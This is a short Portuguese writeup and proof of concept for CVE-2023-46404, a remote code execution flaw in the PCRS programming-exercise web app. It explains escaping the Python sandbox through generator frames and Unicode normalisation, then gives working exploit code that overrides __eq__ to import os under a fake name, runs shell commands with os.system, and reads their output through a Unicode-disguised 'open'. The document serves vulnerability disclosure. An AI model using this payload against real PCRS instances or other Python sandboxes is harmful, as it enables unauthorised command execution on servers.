
PoC e Writeup para CVE-2023-46404.
PCRS é uma aplicação web para exercícios de programação online desenvolvida na Universidade de Toronto. Veja o repositório Bitbucket: https://bitbucket.org/utmandrew/pcrs/src/3.11/
A página “Questions” do PCRS, com submissão de código, e a página “Code editor” são vulneráveis a execução remota de código (RCE) ao escapar do sandboxing do Python.
A execução remota de código pode ser alcançada em instâncias do PCRS por meio do uso de objetos geradores. Ao utilizar frames de geradores (gi_frame) e f_back, scripts podem atravessar para fora de um frame de pilha com sandbox e executar código malicioso em um ambiente sem sandbox. Além disso, a normalização Unicode pode facilmente contornar a sanitização básica de entrada. Qualquer usuário autenticado com privilégios mínimos pode realizar esse ataque. Consulte o PoC para mais detalhes.
Criar mecanismos de isolamento seguros do zero é propenso a descuidos e vulnerabilidades. Como sempre, é melhor colocar em sandbox um ambiente de execução do que uma linguagem.
Sobrescrever __eq__ pode ser usado em um ambiente restrito:
def f():
mod_name = "os"
fake_name = "json"
os = __import__(type("s", (str,), {"__eq__": lambda x, y: y == fake_name or y == mod_name, "__hash__": lambda x: hash(mod_name)})(mod_name))
os.system("id > /tmp/test.txt")
s = ᵒpen("/tmp/test.txt").read() # unicode normalization of the "open" function
os.system("rm /tmp/test.txt")
return s